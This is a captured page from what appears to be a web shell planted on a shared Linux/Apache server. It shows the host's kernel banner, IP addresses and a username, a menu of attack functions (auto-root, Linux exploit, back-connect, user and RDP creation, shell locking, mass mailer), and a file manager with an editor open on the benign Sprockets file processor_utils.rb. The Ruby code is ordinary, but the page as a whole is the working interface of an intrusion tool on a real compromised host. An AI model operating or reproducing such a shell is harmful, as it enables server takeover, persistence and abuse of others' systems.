Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
sprockets /
[ HOME SHELL ]
Name
Size
Permission
Action
autoload
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
utils
[ DIR ]
drwxr-xr-x
asset.rb
4.78
KB
-rw-r--r--
autoload.rb
392
B
-rw-r--r--
base.rb
2.88
KB
-rw-r--r--
bower.rb
1.62
KB
-rw-r--r--
bundle.rb
2.11
KB
-rw-r--r--
cache.rb
6.6
KB
-rw-r--r--
cached_environment.rb
1.94
KB
-rw-r--r--
closure_compressor.rb
1.15
KB
-rw-r--r--
coffee_script_processor.rb
613
B
-rw-r--r--
coffee_script_template.rb
411
B
-rw-r--r--
compressing.rb
2.75
KB
-rw-r--r--
configuration.rb
2.25
KB
-rw-r--r--
context.rb
6.83
KB
-rw-r--r--
dependencies.rb
1.87
KB
-rw-r--r--
deprecation.rb
2.46
KB
-rw-r--r--
digest_utils.rb
4.9
KB
-rw-r--r--
directive_processor.rb
12.76
KB
-rw-r--r--
eco_processor.rb
772
B
-rw-r--r--
eco_template.rb
347
B
-rw-r--r--
ejs_processor.rb
696
B
-rw-r--r--
ejs_template.rb
347
B
-rw-r--r--
encoding_utils.rb
6.38
KB
-rw-r--r--
engines.rb
3.04
KB
-rw-r--r--
environment.rb
1.06
KB
-rw-r--r--
erb_processor.rb
715
B
-rw-r--r--
erb_template.rb
239
B
-rw-r--r--
errors.rb
434
B
-rw-r--r--
file_reader.rb
499
B
-rw-r--r--
http_utils.rb
3.46
KB
-rw-r--r--
jst_processor.rb
1.16
KB
-rw-r--r--
legacy.rb
9.13
KB
-rw-r--r--
legacy_proc_processor.rb
716
B
-rw-r--r--
legacy_tilt_processor.rb
663
B
-rw-r--r--
loader.rb
13.83
KB
-rw-r--r--
manifest.rb
9.88
KB
-rw-r--r--
manifest_utils.rb
1.52
KB
-rw-r--r--
mime.rb
3.61
KB
-rw-r--r--
path_dependency_utils.rb
2.72
KB
-rw-r--r--
path_digest_utils.rb
1.23
KB
-rw-r--r--
path_utils.rb
7.16
KB
-rw-r--r--
paths.rb
1.99
KB
-rw-r--r--
processing.rb
8.07
KB
-rw-r--r--
processor_utils.rb
5.7
KB
-rw-r--r--
resolve.rb
6.78
KB
-rw-r--r--
sass_cache_store.rb
873
B
-rw-r--r--
sass_compressor.rb
1.14
KB
-rw-r--r--
sass_functions.rb
90
B
-rw-r--r--
sass_importer.rb
90
B
-rw-r--r--
sass_processor.rb
7.89
KB
-rw-r--r--
sass_template.rb
442
B
-rw-r--r--
server.rb
8.83
KB
-rw-r--r--
transformers.rb
4.35
KB
-rw-r--r--
uglifier_compressor.rb
1.36
KB
-rw-r--r--
unloaded_asset.rb
5.08
KB
-rw-r--r--
uri_tar.rb
2.66
KB
-rw-r--r--
uri_utils.rb
5.12
KB
-rw-r--r--
utils.rb
5.96
KB
-rw-r--r--
version.rb
41
B
-rw-r--r--
yui_compressor.rb
1.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : processor_utils.rb
require 'set' module Sprockets # Functional utilities for dealing with Processor functions. # # A Processor is a general function that my modify or transform an asset as # part of the pipeline. CoffeeScript to JavaScript conversion, Minification # or Concatenation are all implemented as seperate Processor steps. # # Processors maybe any object that responds to call. So procs or a class that # defines a self.call method. # # For ergonomics, processors may return a number of shorthand values. # Unfortunately, this means that processors can not compose via ordinary # function composition. The composition helpers here can help. module ProcessorUtils extend self # Public: Compose processors in right to left order. # # processors - Array of processors callables # # Returns a composed Proc. def compose_processors(*processors) context = self if processors.length == 1 obj = method(:call_processor).to_proc.curry[processors.first] else obj = method(:call_processors).to_proc.curry[processors] end metaclass = (class << obj; self; end) metaclass.send(:define_method, :cache_key) do context.processors_cache_keys(processors) end obj end # Public: Invoke list of processors in right to left order. # # The right to left order processing mirrors standard function composition. # Think about: # # bundle.call(uglify.call(coffee.call(input))) # # processors - Array of processor callables # input - Hash of input data to pass to each processor # # Returns a Hash with :data and other processor metadata key/values. def call_processors(processors, input) data = input[:data] || "" metadata = (input[:metadata] || {}).dup processors.reverse_each do |processor| result = call_processor(processor, input.merge(data: data, metadata: metadata)) data = result.delete(:data) metadata.merge!(result) end metadata.merge(data: data) end # Public: Invoke processor. # # processor - Processor callables # input - Hash of input data to pass to processor # # Returns a Hash with :data and other processor metadata key/values. def call_processor(processor, input) metadata = (input[:metadata] || {}).dup metadata[:data] = input[:data] case result = processor.call({data: "", metadata: {}}.merge(input)) when NilClass metadata when Hash metadata.merge(result) when String metadata.merge(data: result) else raise TypeError, "invalid processor return type: #{result.class}" end end # Internal: Get processor defined cached key. # # processor - Processor function # # Returns JSON serializable key or nil. def processor_cache_key(processor) processor.cache_key if processor.respond_to?(:cache_key) end # Internal: Get combined cache keys for set of processors. # # processors - Array of processor functions # # Returns Array of JSON serializable keys. def processors_cache_keys(processors) processors.map { |processor| processor_cache_key(processor) } end # Internal: Set of all "simple" value types allowed to be returned in # processor metadata. VALID_METADATA_VALUE_TYPES = Set.new([ String, Symbol, TrueClass, FalseClass, NilClass ] + (0.class == Integer ? [Integer] : [Bignum, Fixnum])).freeze # Internal: Set of all nested compound metadata types that can nest values. VALID_METADATA_COMPOUND_TYPES = Set.new([ Array, Hash, Set ]).freeze # Internal: Hash of all "simple" value types allowed to be returned in # processor metadata. VALID_METADATA_VALUE_TYPES_HASH = VALID_METADATA_VALUE_TYPES.each_with_object({}) do |type, hash| hash[type] = true end.freeze # Internal: Hash of all nested compound metadata types that can nest values. VALID_METADATA_COMPOUND_TYPES_HASH = VALID_METADATA_COMPOUND_TYPES.each_with_object({}) do |type, hash| hash[type] = true end.freeze # Internal: Set of all allowed metadata types. VALID_METADATA_TYPES = (VALID_METADATA_VALUE_TYPES + VALID_METADATA_COMPOUND_TYPES).freeze # Internal: Validate returned result of calling a processor pipeline and # raise a friendly user error message. # # result - Metadata Hash returned from call_processors # # Returns result or raises a TypeError. def validate_processor_result!(result) if !result.instance_of?(Hash) raise TypeError, "processor metadata result was expected to be a Hash, but was #{result.class}" end if !result[:data].instance_of?(String) raise TypeError, "processor :data was expected to be a String, but as #{result[:data].class}" end result.each do |key, value| if !key.instance_of?(Symbol) raise TypeError, "processor metadata[#{key.inspect}] expected to be a Symbol" end if !valid_processor_metadata_value?(value) raise TypeError, "processor metadata[:#{key}] returned a complex type: #{value.inspect}\n" + "Only #{VALID_METADATA_TYPES.to_a.join(", ")} maybe used." end end result end # Internal: Validate object is in validate metadata whitelist. # # value - Any Object # # Returns true if class is in whitelist otherwise false. def valid_processor_metadata_value?(value) if VALID_METADATA_VALUE_TYPES_HASH[value.class] true elsif VALID_METADATA_COMPOUND_TYPES_HASH[value.class] value.all? { |v| valid_processor_metadata_value?(v) } else false end end end end
Close